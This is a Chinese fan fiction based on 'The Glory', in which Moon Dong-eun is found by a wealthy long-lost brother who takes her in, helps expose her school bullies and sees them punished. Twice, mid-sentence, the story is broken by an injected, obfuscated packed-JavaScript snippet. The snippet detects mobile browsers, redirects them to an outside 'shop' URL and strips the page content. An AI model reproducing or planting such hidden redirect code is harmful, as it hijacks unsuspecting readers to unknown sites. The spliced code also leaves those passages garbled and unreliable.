《假如东恩有个哥[黑暗荣耀]》 1. 从天而降的亲哥 2004年五月,世明市的夏天来得格外的早。 午时一场透澈的夏雨驱散了热气,空气中少了那份黏腻的感觉,到傍晚时分,胭脂红的太阳缓缓降落,天气已然恢复初夏该有的清凉。 不知疲倦的风吹动街道两旁种植的蔷薇花,飘起或白或粉的花瓣,轻轻地落入砖石地面上残留的雨洼。 文东恩慢腾腾地走在放学回家的路上,她低着头,有些心不在焉,连着踩到好几个水洼,溅湿了袜子。 她还在想刚才在便利店买饭团时,遇到的那个购买双氧水和烫伤药膏的沉默女孩。 当时,东恩站在一旁悄悄地观察她,女孩白色校服衬衫上渗出暗红色的血迹,她还不停地用手抓挠胳膊上渗血的位置,看起来很痛苦。 文东恩后知后觉,那个女孩好像就是同学们口中被霸凌的尹素熙。 太阳已经完全下山,天空渐渐变暗,路灯亮起惨白的光,文东恩在狭窄的巷子里七转八转,最终走入一栋在夜晚时外表显得很是阴森的楼房。 狭窄的走廊里只有昏黄的吊灯带来些许照明的光亮,两侧的墙壁因潮湿发霉,墙皮脱落让它看起来坑坑洼洼的,广告像壁纸一样布满在墙面,到处都堆放着落满灰尘的杂物。 今晚母亲应该在家吧?这个点,她大概已经喝掉几瓶烧酒,可能已经醉的睡着了。 刚才上楼时碰到房东太太了,算算也快到交房租的日子了,不知道她白日里有没有出门工作挣钱…… 潮湿的气味与熟悉的场景让文东恩暂时不再想尹素熙的事情,转而开始忧虑她自己家的状况。 不对劲,发生什么了? 文东恩抬起头,脚步在家门口附近停下。 昏暗的走廊里站着一群穿着黑西装、戴着黑墨镜的魁梧大汉,他们将自己家围的严严实实,本就狭窄的走廊被堵的更为拥挤。 西装笔挺的他们在这里显得是如此割裂,如此格格不入。 文东恩的第一反应是,那些人很危险,跑!要赶快转身跑! 可那些人摆明着是冲着自己家来的,跑又能跑到哪去呢? 她强迫自己冷静,双手攥紧了书包带,硬着头皮从那些人中间穿过,奇怪的是,没有人拦她,甚至还有人侧身给他让路! 东恩虽面上不显害怕的神情,但其实心脏在碰碰地剧烈跳动着,她不敢让这些人察觉自己的恐慌。 破旧的铁门虚掩着,她手微抖着推开门。 凌乱不堪的屋子里酒气冲天,但母亲却不在,只有房间正中央的椅子上,一个年轻男人翘着腿随意坐着。 他穿的如出一辙的随意松弛,崭新的灰色卫衣和黑色运动裤,看起来很阳光,充满青春活力,和这个闷热发霉的老旧地方截然不同。 听到开门声,男人摘下墨镜抬起头,冲进来的女孩露出一个笑容。 毫无阴霾、阳光开朗的笑容像是在发光一样耀眼,那是一种从未经历过挫折的人才会露出的发自内心的友善微笑。 “你好啊,东恩,我是尹叙承,你的亲哥哥!” 他的声音也很是轻快。 文东恩站在原地,一动不动地看着他,面上是再也藏不住的惊讶。 尹叙承也不着急,就那么笑着看她,等待女孩消化这堪称爆炸性的消息。 过了好一会儿,东恩才开口,声音里充满了怀疑与不可置信。 “你说……你是我亲哥哥?真的假的,会不会……是你搞错了?” “咳咳,我知道你现在十七岁,突然凭空冒出个亲哥哥是非常无敌超级震惊的,不过,这件事确实是无懈可击的真。” “白允啊,进来一下!” “把刚从医院里新鲜出炉的DNA检测报告拿来啦。” 他拍了拍手,突然抬高声调向门外喊道。 染着全白发色的男人礼貌地敲门后进入,从随身携带的公文包中,抽出装有纸张的文件袋,微微弯腰双手递给尹叙承。 “谢谢~你还是那么可靠,好了回去吧!” 他接过后就站起身来,走到东恩面前,将文件袋里的报告展示给她。 文东恩警惕地后退了两步。 “不要紧张,我不是坏人,门口那些人也都是跟我来的,虽然长得凶了点有些唬人,但只是员工而已。”尹叙承无奈地解释。 “你不知道我的事很正常,我刚出生就因一些特殊原因被抛弃了,好在收养我的人对我很好,这件事其实我知道的不比你早多久,也就是三天前而已……” 他讲起自己的身世有些云淡风轻,就像是在说别人的事。 “喏,你看,这里写着[鉴定意见:根据本次DNA检测结果,在排除同卵多胞胎、近亲及外源干扰等特殊状况下,支持尹叙承与郑美姬存在生物学关系,亲子关系概率99.999%]” 文东恩沉默但认真地浏览完几张亲子鉴定报告,上面有世明市最大医院的盖章,看起来并不像是假的。 她又想到,就自己家的条件,有什么值得需要冒充自己亲人才能贪图的东西呢?更何况,眼前这个男人从他的穿着和说话方式就能看出他家境很优渥。 心中不禁进一步相信了尹叙承的说辞。 “如果你还不信,我的车就停在楼下,东恩可以指定一家你信得过的医院,我们立刻就坐车去,为咱俩做个DNA检测!” 尹叙承问心无愧还跃跃欲试地拍了拍胸脯。 “好,那我母亲呢?” “她去哪了?” 东恩点点头,问出了刚才就想说的话。 “哦,这个嘛……”尹叙承挠了挠头,有些不好意思。 “我刚才把她送走了。” “送走?送哪去了?”文东恩盯着他,又警惕了起来。 “一个疗养院。” 尹叙承轻描淡写地回道。 “我下午找来时,你母亲饮酒过度晕倒在地,还好我让门外那些人把她送医院里去了。” “医生给她做了催吐醒酒,我还顺便给她安排了体检大礼包,啧,心理医生当时告诉我,她酗酒成瘾,还伴随严重的精神问题和暴力倾向,必须要趁早干预,住院治疗。” 他眨了眨眼。 “我也是为了她好,体贴的把她送进了世明市据说治疗效果最强的精神疗养院,别担心,她再也不会喝酒了。” “当然,你要是想见她,随时都能去那里看望。” “不过,她醒过来时,一直大吼大叫,不记得我这个儿子,然后还管我要钱。”他耸了耸肩。 东恩又无语沉默了,这确实是自己母亲会做出的事。 母亲成日酗酒,对自己也从不尽照顾的责任,但她心中还残留着些许渴望母爱的天性,但如果真的能如尹叙承所说地那样,对每个人都是一件好事。 她这时还隐约想起母亲喝醉酒时曾说过的话,她说她先前有个儿子,觉得他是个怪物,本来就养不起,于是就顺理成章地抛弃在了医院。 东恩一直以为这可能是醉话胡话,现在想来应该是真的。 “我有时间会去看看她的。” “那,你今天来到底是……” “怎么说呢,我的父母,啊,就是收养我的夫妻前段时间自然死亡去世了,他们留了封信给我,我几天前看了才知道自己不是亲生的。” 尹叙承的笑容先是顿了一下,但很快就恢复了,只不过变淡了许多。 “人嘛,都是有探究欲的,我就派人去查了查这件事,于是今天得到确切消息后就找到这里来了,虽然亲生母亲是个抛弃孩子、不负责任的人。 但东恩,你毕竟是我的亲妹妹,是我的家人,更何况你还是无辜的。” “我不想看到自己的亲妹妹在泥潭中过这样的生活,所以今天来,就是想接你回家一起生活。” 他理所当然地说。 “什么?” 文东恩愣住了,张了张嘴,不知道接下来该说什么。 “没错,就是你听到的那样,我们先去医院做DNA检测,然后再坐两个小时的车回我在首尔的家,正好明天是周六,愉快的放假时间,我们可以培养一下兄妹感情,或者带你在首尔转一转、玩一玩也好啊!” “嗯……不过世明市到首尔两个小时的通勤时间太长了点,不如高二学期结束后,东恩你就转学到首尔怎么样,首尔的师资条件要更好些吧,或者你不想离开熟悉的环境,明天我也可以在世明市地段好的位置买房给咱俩住……” 尹叙承絮絮叨叨地说了一大堆话,完全没给东恩留拒绝的余地。 他又唤门外的一位员工为他拿进一件还未拆吊牌的衣服,是浅蓝色的看起来很柔软的女款薄外套。 “我新买的,不知道合不合身,你们学校的校服一看就太薄了,晚上出去会有些凉,要不要穿上这件?” 东恩没动,她在内心在挣扎,对亲情的渴望,让她很想接受这份亲人的关心,尹叙承的那些话也很大程度上触动了东恩内心感性的一点,可理智又在提醒她谨慎。 尹叙承也没有催她,只是那么拿着外套,等待着亲妹妹做出决定。 良久,结束内心交战的文东恩下定决心地伸出手,接过那件外套穿上,就像是看到的那样,衣服很柔软,还带着一股陌生的干净的香味。 坐进楼下那辆加长版黑色汽车时,东恩还是有些恍惚的,过去短短几个小时的经历,就如同做梦一般。 车里的冷气很足,甚至可以说有些冻人,皮质座椅很舒适,坐在上面很是放松,尹叙承就在旁边座位上,他交代给前排司机几句话后,就升起隔板,彻底隔绝出一个独立的空间。 两人间的氛围显得有些过于安静了,文东恩转头看向尹叙承,似乎是想要开口主动打破这份凝固的气氛。 尹叙承感受到身边这股目光,又笑起来。 “怎么了?” “没什么。”东恩摇摇头。 “就是想跟你聊聊。” “好啊,我脾气很好的,问什么都可以哦!” “嗯……你这些年过的好吗?” “在做什么工作呢?” 虽然能看出来这个亲哥哥过的不错,但她还是想问出来,亲耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437648|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听他说。 “收到东恩的关心啦,收养我的是均工集团的尹家,所以我这些年过的都很不错。” “工作的话,目前开了一家安保公司,经营的也算蒸蒸日上。” 怪不得,走廊里那群穿黑西装的大汉看起来都不好惹的样子,东恩恍然大悟。 尹叙承又凑近她一点,自豪地说: “东恩如果以后受到欺负,一定要告诉哥哥我哦,安保公司的每位员工可都是身怀绝技,当然也包括我啦,肯定能帮你主持公道!” 话罢,还揉了揉她的头。 文东恩听后感到心里暖烘烘的,原来这就是有真正对你好的家人的感觉吗? 汽车平稳地行驶到世明市一家颇有盛名的私立医院,一个貌似级别很高的医生亲自带领他们完成一系列需要进行的检测,一番操作下来,已经晚上九点多了,不过检测报告哪怕加急也要等到明天才出了。 做完检测回到车上时,东恩就有些困倦,本来只想闭眼眯一小会儿,却直接睡了一路。 当她醒来时,车子已经开进一个她只在电视里见过的豪华小区。 大门感应到车牌自动打开,训练有素的保安兢兢业业地站岗,哪怕接近凌晨,小区的路灯依然明亮,而别墅区的绿化让东恩以为自己身处某个公园,每栋房子都带有一个巨大的庭院。 尹叙承带着东恩刷卡坐电梯从别墅的地下车库直达家中客厅,电梯门打开的一瞬间,东恩忍不住“哇!”了一声。 她站在玄关处,眼前宽敞的客厅一片明亮,干净的就像是没人住过,夏夜的风从开启的落地窗吹进,带来阵阵清凉。 尹叙承从鞋柜中拿出一双可爱的拖鞋,放在她脚边,又吩咐别墅的管家,让厨房的厨师们准备养生的夜宵。 “别站着啦,穿上拖鞋坐到沙发那吧,饿了吧?车上的小零食可填不饱肚子,一会儿饭就好!” “这是你买的?” 东恩低头看着那双粉色的猫咪拖鞋。 “是啊,不知道你穿多大的,估摸着买的,不合适明天去商场再买一双。” “你怎么知道,我一定会跟你来?”她顿了顿说。 “不知道啊,所以当时我特别忐忑,心跳的同样很快,就怕你不想认我,不想跟我来怎么办……” 尹叙承叉腰,语气在还原当时内心的苦恼。 “谢谢你……哥哥……” 尹叙承一愣,然后露出一个更为开心的高兴的明媚笑容。 “嗯!以后就是一家人了,不用那么客气啦,东恩妹妹!” 吃完东西,尹叙承带东恩去早已准备好的房间,就在他自己房间隔壁。 南向朝阳的卧室位于别墅三楼,包含卫生间和衣帽间,里面配备好了各种未开封的用品和没拆标签的衣物,卧室里铺好的大床看起来能睡三个人,床头柜上摆着一盏月球样式的小夜灯。 一切都是东恩梦里才有的温馨样子。 “没准备太多,想着明天就带你去商场买你喜欢的!” “先凑合睡一晚吧。” 尹叙承领着东恩简单逛了逛房间,还讲了一些智能设备的使用方法。 站在房间中央,看着这一切,东恩想起那个破旧的出租房,想起冬日瑟瑟发抖的日子,想起夏日大汗淋漓的时光,感动的泪水不由自主地落下。 “怎么还哭了?是不喜欢吗?” “别哭啊,东恩,你想要什么明天一定给你买……” 尹叙承只见刚才还好端端的妹妹,突然间哭了起来,他皱起眉,有些不知所措,只好恳切担忧地问。 “没有,我很喜欢,就是因为太喜欢才哭的。” 东恩用袖口擦着止不住的眼泪。 尹叙承愣住了,他没想到是这样的原因,女孩真的是吃了太多的苦。 此时说什么话都显得有些轻微,行动才是最好的关心,他抱住东恩,轻轻拍背安慰着妹妹,任由她用泪水浸湿自己的卫衣。 因为这是她迟来十几年的委屈的泪水。 “好啦,哭出来就好受了,东恩今晚一定能睡个好觉的,有哥哥在,就期待明天肯定会是更好的一天!” 尹叙承感受到怀中人的情绪慢慢平静下来,闷闷地回了声“嗯。” “那我也回去睡觉了?” “好。” 东恩站在原地,目视尹叙承关门离开,听着他的脚步声走远,隔壁的门打开又关上。 她走到窗边,拉开淡黄色的窗帘。 首尔的夜晚,真的很漂亮,市中心寸土寸金的别墅区,能轻而易举地欣赏到这繁华的夜景,东恩坐在飘窗上,望着窗外,回想起自今天放学后的一切。 那条昏暗的走廊,那群穿黑西装的员工,那个坐在房间中央,是自己亲哥哥的人…… 渐渐地,困意再次笼上心头,她离开窗边,躺上柔软的大床,沉沉地睡着了…… 后来,她才知道,这一夜是她人生的转折点。 前半是黑暗,后半,是一片光明。 文东恩将走上一条截然不同的人生道路…… 2. 有人撑腰的心安 周六的早晨,阳光透过未被窗帘遮挡的玻璃窗洒入室内,照得整个房间都暖洋洋的,烘托出恬静安谧的夏日氛围。 空气中弥漫着淡淡的花香与果香。 东恩被太阳晒醒,睁开眼时却没有见到熟悉的潮湿杂乱的家。她愣了几秒才想起,自己昨日已经跟着哥哥来到了首尔的别墅,装修格外温馨的这里是独属于她的卧室。 云朵般柔软的床铺和被子让她舍不得起床,直到一阵不算急促的敲门声传来。 “东恩,醒了吗?” 尹叙承轻快的声音响起,隔着厚厚的木门也能感受到那股阳光般的活力。 文东恩立刻坐起身,应了一声,手忙脚乱地穿好衣服,踩上拖鞋去开门。 尹叙承端着一杯红茶,慵懒地依靠在门旁墙壁上,他今天穿着一件浅粉色的短袖,衬得整个人很柔和,见到东恩出来,他笑眯眯地打招呼。 “早上好!东恩!” “常服什么的我都叫人放置在你屋的衣帽间啦。”尹叙承见东恩仍穿着昨晚那套校服,提醒道。 “一会儿就去楼下吃早餐吧!今天上午我带你去逛街!” 东恩点点头,看着尹叙承那明媚的笑容,自己的心情也跟着变得更好了。 洗漱梳整完后,东恩穿着一套黑色运动装下楼,餐厅长桌上已经摆满了各式各样的食物,既有紫菜包饭、鸡蛋卷、明太鱼汤等韩式早餐,也有面包、培根煎蛋、三明治、华夫饼这样的西式风味。 尹叙承很没有形象的坐在桌边,托着腮,笑眼弯弯地看她。 “不知道你喜欢吃什么,就让厨房都做了一点,快来尝尝吧!” “如果都没胃口,也可以试试哥哥特别喜欢的中式早餐。” “下次东恩可以将自己的口味偏好写下来,我去交代给厨房!” 文东恩选了个靠近尹叙承的位置坐下,夹起一块紫菜包饭咬了一小口,很好吃,味道是自己以前在便利店买的2000韩元的那个不能比的,要好吃一百倍了。 “我会的……” “不过现在的早餐我已经很喜欢,很美味了。” 她咽下这口饭后,语气有些含糊不清地回道。 “那就太好了!” 尹叙承笑得更开心了。 “别着急慢慢吃,今天去商场给你买新衣服、鞋子、书包,还有那些生活用品……你想要什么就买什么!” 东恩低头吃饭,没说话,却在心里默默“嗯”了一声,她感觉全身就像是喝了那碗明太鱼汤一样热乎乎、暖呼呼的。 首尔的商场比想象中的还要大! 外部整个蓝色的玻璃幕墙映着云彩,像是与天空融为一体,里面的专柜卖的全是她只在电视上或有钱同学那里看过的名牌,内部所见的地板、墙面都是光滑的整洁的白色,室内绿化带贯穿整个商场,中庭的雕塑浮岛模仿自然池塘,构建成瀑布花园的景观。 东恩眼都看呆了,深深着迷于商场建筑独特的设计。 尹叙承热切地拉着她一家一家的逛,看到什么都要问一句: “喜欢吗?” “这个好不好看?” “要不要试试这个!” 东恩刚开始还有些不自在,很不习惯,那些店员的目光看向她时总觉得很紧张。 但尹叙承好像完全不在意别人的注视,他走到哪都笑的阳光开朗,还时不时跟店员开玩笑,把人家逗得直笑。 这让东恩有些羡慕他这样自在洒脱的性格。 “这件、这件,还有那些……” “都拿合适的尺码过来给她试试。” 尹叙承对殷勤的店员指了指,好几个摆有衣服的玻璃展示柜。 东恩被推进宽敞的试衣间,换了一套又一套,每次出来,尹叙承都要认真打量半天,然后点头撂下一句听起来很不深思熟虑的话: “好看!买!” “刷卡吧!” “尹……” “哥,这也太多了……” 文东恩凑过去小声说。 “不多不多,这才几件,都不够填你衣柜的。” “以前吃得苦,现在就要疯狂补回来!” 尹叙承眨了眨眼。 东恩眼眶有些发热,鼻尖也有些发酸,幸福的有些想哭。 最后他们两人买了七八套衣服、四双鞋、两个新书包,还有一堆精致的文具和大牌护肤品。 尹叙承还非要专门给她买笔记本电脑和手机,他说这样方便联系,更何况数码科技发展已是大势所趋,年轻人要跟上潮流啦~ “以后,有事可以随时给哥哥打电话,没事也能打来聊天哦!” 他把手机拆封塞进东恩手里,耐心地教她如何使用。 “OK,我的号码已经存好了,第一个就是。” “电脑我回家再教你。” 文东恩捧着那部崭新的粉色诺基亚,轻轻点头。 回家的路上,尹叙承接了一个电话。 “嗯……好,知道了,电脑传给我吧。” 挂掉电话,他转头看向东恩,眼睛亮亮的。 “东恩,DNA检测报告出来了!” 文东恩愣了一下,心跳突然加快,扑腾扑腾的好似要跳出胸口。 尹叙承从车上找到早上出门携带的电脑包,将笔记本电脑拿出放在车座旁的桌板上。一番操作后,一张清晰的检测报告单扫描件便出现在屏幕上。 密密麻麻的医学术语东恩看不太明白,但最后那行字,她看懂了。 [鉴定意见:根据本次DNA检测结果,在排除同卵多胞胎、近亲及外源干扰等特殊状况下,支持尹叙承与文东恩存在生物学关系,兄妹关系概率99.999%] 文东恩盯着那行字看了很久,尹叙承伸手揉了揉她的头发。 “看到了吧?我真的是你亲哥,不是假的、不是骗子,是真的亲的!” 说话的声音都比平时轻柔了许多。 东恩抬起头,看着眼前这个男人,发自内心喊了一句: “哥!” “嗯!” 尹叙承应得很快,高兴地笑道: “我会好好保护你一辈子的!” 周天,尹叙承带着东恩逛了逛像首尔塔、景福宫、汉江公园等一系列有名的旅游景点,不过美好的假期时光总是短暂的。 周一早上。 尹叙承亲自开车从首尔直奔世明,送东恩去高中上学。 两个多小时的车程,东恩一路上没怎么说话,一副心事重重的样子。她看着车窗外向后飞逝的风景,想着今天去学校会发生什么。 尹叙承好像看出来她的心事,腾出一只手来拍了拍,坐在副驾驶上的东恩的肩膀。 “别焦虑,如果在学校遇到不开心的事就给我打电话!” “放学时我来接你,到时候车就停在校门口最显眼的地方,一下子就能找到。” 东恩点点头,到站下车时,她回头看了尹叙承一眼。 “那哥……你今天准备干嘛?” “我啊,我在世明市里办点事。” 尹叙承又带起那副银边墨镜。 “顺便看看这附近的房子,以后咱俩住,这样你早上也能多睡会儿。总不能天天开两小时的车往返吧,太浪费时间了。” 东恩想说不用,但尹叙承好像预判了她的想法,立刻继续道: “而且,我看世明市势头发展的很不错,未来前景很深,买房、地投资投资也不亏。” “好啦,就这样,快去上课吧,放学见!” 尹叙承挥了挥手。 “好吧,哥,再见。” 走进校门的那一刻,文东恩就感受到了那些凝视的目光。 她穿着被清洗熨烫的跟新的一样的校服、崭新的带着对钩的运动鞋,背着新书包,包上还挂着尹叙承送她的祈福挂坠。这和以前那个灰扑扑的文东恩判若两人,路过的同学对着她窃窃私语,东恩感受到有人好奇、有人嫉妒、有人不屑。 东恩想起逛商场时哥哥那种毫不在乎的态度,也学着他的样子,无视了那些同学。 她低头快步走向教室,但还是被人拦住了。 “哟,这是文东恩吧?” “真的是文东恩欸!” 那个带着嘲讽语气的声音如此尖锐刺耳,东恩抬起头,看见朴妍珍站在自己面前,双手抱胸,笑的意味深长,她身旁站着李莎拉,身后还跟着全在俊、崔惠廷和孙明悟,五个人,一个不少。 “你这书包和鞋子,是名牌吧?”李莎拉走近,上下打量着文东恩。 “你穷的只能吃便利店那些便宜东西了吗,哪来的钱能买这些?” 全在俊在旁边嗤笑,“该不会都是偷的吧?” 崔惠廷在一旁捂嘴笑,孙明悟也跟着笑起来。 东恩攥紧书包背带,面无表情的平静开口: “不关你们的事。” “哟,脾气见长啊,你该不会是傍上什么有钱人了吧?” 朴妍珍挑眉说着,伸手要去扯文东恩的衣领。 东恩反应迅速地后退一步,躲开了。 朴妍珍愣了一下,脸上挂着似笑非笑的笑容冷了下来。 就在这时,上课铃响了。 朴妍珍收回手,意味深长地看了东恩一眼,五个人趾高气昂地走了,临走前,孙明悟还回头冲她做了个抹脖子的手势。 东恩站在原地,心跳的很快,但却没有后悔刚才的做法。 她摸了摸口袋里的手机,情绪渐渐冷下来。 整个上午,文东恩都在课间谨慎躲避着朴妍珍为首的五人组,尽量不让自己落单,同时她也在尽力寻找着,那天在便利店遇到的叫做尹素熙的女孩。 直觉告诉她,霸凌尹素熙的就是朴妍珍他们。 临近放学的最后一个课间,文东恩在校园里四处寻找,偶然间听到几位老师聊到,将体育馆借给朴妍珍几人的事,她顿时有种不好的感觉。 果不其然,当东恩快跑赶到体育馆附近,放轻脚步,悄悄靠近场馆窗户下面时,她听到了隐隐约约的嬉笑声、哭泣声和投篮声。 东恩用墙壁做遮挡,在一个朴妍珍几人关注不到的视角盲区,慢慢隐蔽地探出头,从窗户里瞥见了令人窒息的一幕。 她头脑飞速运转,手剧烈颤抖地从口袋里掏出手机,用哥哥交给自己的方式,打开了手机相机的录像功能,偷偷地拍了下来体育馆里发生的黑暗事件。 尹素熙被朴妍珍四人围在墙角,全在俊在一旁像是不感兴趣的练习投篮,素熙的校服被扯得乱七八糟,脸上有巴掌印,头发也蹭满灰尘。 朴妍珍笑着,手里拿着根烟,慢慢凑近了素熙的脸。 “跑啊,你怎么不躲了?” 素熙拼命往后躲,但她已经无处可逃。 朴妍珍继续笑着将烟头按在了素熙身上。 素熙哭着摇头,惨叫一声,随后疼的浑身颤抖的求饶。 文东恩的指甲被她深深的掐进掌心,她很想冲进去,但她知道,如果现在进去,凭借自己微弱的身板和武力值,只会让自己和素熙陷入更糟的境地,那些人的怒火会加倍发泄出去。 东恩死死咬着嘴唇,忍住愤怒与眼泪,录好这关键性的视频证据,转身就跑。 她急匆匆地跑向教师办公室,推开门,见到班主任正坐在座位上喝水。 “老师!” “我看见,我看见朴妍珍他们在霸凌同学!” 东恩上气不接下气地说。 班主任抬起头,看了她一眼,然后慢悠悠地放下水杯。 “是吗?你亲眼看到了?” “是的,我亲眼看到,她们用烟头烫人!” 班主任皱起眉来,却冲文东恩吼道: “没凭没据的事,不要乱说!” “不要开这种玩笑污蔑同学!” 东恩站在原地,浑身发冷,她明白了,老师们不可能不知道这些事,只是怕得罪朴妍珍他们不想管,也不敢管而已。 幸好自己没有一开始就拿出视频证据,班主任和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437649|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们蛇鼠一窝,很有可能故意夺走手机,将视频删除。 文东恩心惊胆战地上完最后一节课,她怕班主任将这件事告诉朴妍珍他们,好不容易熬到放学,她迅速离开校园,就像后面有鬼在追她似的。 好在,老天是眷顾着善良的东恩的,她顺利的出了校门,看见显眼地方停靠着的那辆熟悉的汽车。 东恩上车的时候,脸色很难看,有种受惊后的苍白。 尹叙承一眼就看出来了,他收起见到妹妹时开心的笑容。 “东恩,怎么了?”尹叙承担忧地问。 文东恩沉默了几秒,然后有些忐忑地、磕巴地开口,把今天自己经历的和看到的一切都一股脑地讲了出来。 她说着说着,声音开始发抖。 “那些人……好像整个校园都没有人能管他们……” 尹叙承听完,面色格外阴沉,没有说话。 他伸出手,把恐惧害怕的东恩揽进怀里,轻拍着她的背。 过了好一会儿,他才开口,声音比平时低了许多,音色都是前所未有的冷酷。 “东恩,一会儿你将视频发给哥。” “我马上给你请假,今天下午以及最近这段时间,你都不用去学校了,我先在家给你请家庭教师,直到转学手续办好。” “别担心,有哥给你撑腰,那些霸凌者都会受到应有的惩罚的,当然不负责任的老师也会。那个叫尹素熙的女孩,我今天也会叫手下的员工去帮助她的。” 东恩听到这些话,抬起头,看着他。 尹叙承的眼神变得很凶,是这几天从没见过的,只不过不是冲她,而是冲那些坏人,令人安心。 那天晚上,东恩睡着后,尹叙承坐在书房里,打了几个电话。 “白允啊,叫上苏立他们,去查几个人。” “世明高中的学生,朴妍珍、李莎拉、全在俊、崔惠廷、孙明悟,和他们的家长,还有东恩的班主任,越快越好,越详细越好。” “还有去找一个同在世明高中上学叫尹素熙的女生,带她和她的家人赶快离开世明,留两个人保护她们,收集一些证据,再给一笔医药费。” …… 挂断电话,尹叙承靠在椅背上,看着窗外首尔的夜景。 他想起东恩说那些话时的表情,那种明明很害怕,却强忍着不哭的样子。 这让他想起自己小时候一个冬天,养父曾对他说过的话: “叙承啊,这世上有一些人,你不去惹他,他们却会主动来惹你,所以你要变得够强,强到无人感看轻你!” 尹叙承一直觉得自己够强了,但今天,他发现还不够。 他会让今天欺负妹妹的那些人知道,为非作歹,惹了不该惹的人,会是什么下场。 第二天,尹叙承在世明市边看地皮,边等待着消息。 先前他在几个楼盘那看了几处房子,不过都不太满意,于是就先来买地皮了,他站在长满野草的路边,正考虑要不要定下来,突然手机响起。 是白允来电。 “小少爷,查到了不少东西,那五个霸凌者算是有点背景,但不多,朴妍珍的母亲是给高官富豪拉皮条的,她自己先前霸凌过不止一个人;全在俊家里有个高尔夫球场;李莎拉父母是教会牧师;崔惠廷和孙明悟二人的背景都很普通,还有……” “都发给我,晚上我慢慢看……” 挂断电话,尹叙承转身准备离开,却差点撞上一个人。 “抱歉。” 他抬起头,见到一个穿着深色西装的男人,看样子是往隔壁工地方向走的。 这人很高,气质无比沉稳,五官深邃,眉眼间还带有一种淡淡的疏离感,他看了尹叙承一眼,微微点头,算是回应。 尹叙承愣了一下,他认出了这个相貌很好的男人,是载平建筑的代表——河道英。 之前在一些晚宴和酒会上见过几眼,和尹家的均工集团有些生意往来,算是合作伙伴,只不过家里公司什么的都是大姐在管,所以河道英不认识自己。 但尹叙承对他印象很深。 “河道英理事长?”尹叙承露出一个礼貌的笑容。 那人停下准备离开的脚步,眼神里有一丝意外。 “你认识我?” “尹叙承,均工集团尹家的小儿子,叙明安保的老大。” 尹叙承伸出手,笑得很是灿烂。 河道英看了他两秒,然后伸手,礼貌地握了一下。 “很荣幸见到你,尹小少爷。” 他的声音也很是低沉平稳。 尹叙承笑得更高兴了,那只手干燥而有力,握住的瞬间,他还莫名觉得指尖有些发烫。 “so,那边是你们公司新开发的工地?” 河道英看着他,嘴角微微动了一下,像是想笑又没笑出来。 “是的,我来这边视察。” “你呢?尹小少爷?” “世明市发展前景我很看好,来这边买几个地皮房产什么的投资。” 河道英点点头,没再说话。 两人间的氛围突然有些沉默,初夏的风吹过,带起树叶摩挲时沙沙的声音。 尹叙承不知怎的,不想让这场对话结束,他眨眨眼,开玩笑式的为河道英推销自己安保公司的业务,打破了这种气氛。 说话时还故意把最后几个字拖得长长的。 河道英没有说话,难得露出笑容,微微点了点头,简单示意后,便因工作繁忙而转身离开。 尹叙承上了停靠在路边的车,从车窗向外看河道英的身影消失在工地入口。 他低头看了看刚才被握过的那只手,想起刚才河道英那一瞬间看向自己的眼神,虽然说不清那是什么意思,但莫名的,他记住了。 而此时,河道英走进工地,在嘈杂的声音中停下脚步,看到自己手机上不知何时多出的陌生号码,笑了一声。 “尹小少爷,真是个有趣的人。” 他脑海中浮现出刚才那个站在草地旁,像太阳一样发光的身影。 3. 恶人组的下线 一周后,世明市的舆论迎来了一波真正的“地震”。 先是李莎拉的父亲,那个道貌岸然的教会牧师,被爆出长期私吞善款,将预备改善教堂的钱全都进了自己的腰包,信徒的奉献变成了海外账户里的数字,母亲更是通过地下钱庄暗箱操作来洗钱。 消息爆出时,教会门口围满了举着牌子抗议的信徒。 李莎拉的长期吸du史也被扒了出来,几张丑态百出的照片被大肆传播,等待她的将是强制戒毒与监禁。 被押上警车的那一刻,李莎拉回头看了一眼曾经溺爱自己的父母,一个站在家门口,目光落在别处,没有看她,另一个躲在屋子里哭,但也没有追出来。 崔惠廷家的小洗衣店,也因一段霸凌视频的曝光,生意一落千丈,有些愤怒的群众甚至还往店门口泼油漆,而她自己也被学校开除。 警方上门,因其参与霸凌、故意伤害她人而将她带走,审讯室中,她哭着说自己只是跟着朴妍珍他们,害怕自己成为被霸凌的那一个才这么做的,不过最终她也被判处一年有期徒刑,高考时也会因此被扣分。 孙明悟那个在警察局当差的父亲,也因此事被永久调离警察系统,发配到了边远地区,走的时候脸色十分铁青。 而孙明悟自己也没好到哪去,被强制退学后,他和父母大吵一架,父亲把所有的怨气都撒在他身上,他被赶出家门沦落到公园流浪,后因抢劫路人被警察逮捕,数罪并罚判了三年以上有期徒刑。 被押上囚车时,他脸上什么表情也没有。 而全在俊,他家的高尔夫球场被封,税务局的人进进出出,搬走了一堆又一堆的账本,查出来其偷税漏税的金额触目惊心,涉及大量洗钱与行贿,全在俊父亲在接受调查时突发心梗,被送入医院,但人刚醒,就被警方直接带走,全在俊的母亲企图用钱疏通关系,被抓了个正着,把自己也送了进去,夫妻双双判刑。 全家的资产全被查封,他想去往国外避避风头,却在机场被拦下,因涉嫌参与霸凌、故意伤害、教唆犯罪等被判处五年监禁,他以为还能像之前一样,打个电话就有人来捞他,但这一次,电话那头只有忙音,像是在嘲笑他。 朴妍珍,她母亲因给高管财阀拉皮条而被警察带走,那个平日里趾高气昂的女人被记者围堵时,狼狈非常,哪还有半分贵妇样子。 